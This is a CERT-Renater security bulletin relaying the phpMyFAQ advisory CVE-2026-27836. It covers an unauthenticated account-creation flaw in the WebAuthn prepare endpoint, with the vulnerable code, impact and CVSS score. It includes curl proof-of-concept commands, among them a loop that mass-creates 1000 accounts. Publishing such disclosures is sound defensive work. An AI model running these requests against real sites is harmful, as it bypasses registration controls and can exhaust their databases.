Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN242
_____________________________________________________________________

DATE                : 02/03/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running phpmyfaq (Composer) versions
                                  prior to 4.0.18.

=====================================================================
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4
_____________________________________________________________________


Unauthenticated Account Creation via WebAuthn Prepare Endpoint
High
thorsten published GHSA-w22q-m2fm-x9f4 Feb 27, 2026

Package
thorsten/phpmyfaq (Composer)

Affected versions
<= 4.1.0-RC.6

Patched versions
4.0.18


Description

Summary

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new
active user accounts without any authentication, CSRF protection,
captcha, or configuration checks. This allows unauthenticated attackers
to create unlimited user accounts even when registration is disabled.
Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {
            $this->user->createUser($username);
            $this->user->setStatus(status: 'active');
            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
            $this->user->setUserData([
                'display_name' => $username,
                'email' => $username,
            ]);

The endpoint:

    Accepts any POST request with a JSON username field
    If the username doesn't exist, creates a new active user account
    Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
    Does NOT check if registration is enabled (security.enableRegistration)
    Does NOT verify CSRF tokens
    Does NOT require captcha validation
    Has no rate limiting

PoC

# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"spam_user_$i"}" &
done

Impact

    Registration bypass: Accounts created even when self-registration is disabled
    Username squatting: Reserve usernames before legitimate users
    Database exhaustion: Create millions of fake active accounts (DoS)
    User enumeration: Different responses for existing vs new usernames
    Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default)
are affected, regardless of configuration settings.


Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE ID
CVE-2026-27836

Weaknesses
Weakness CWE-862

Credits

    @H4iL-L0v3r H4iL-L0v3r Reporter




=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================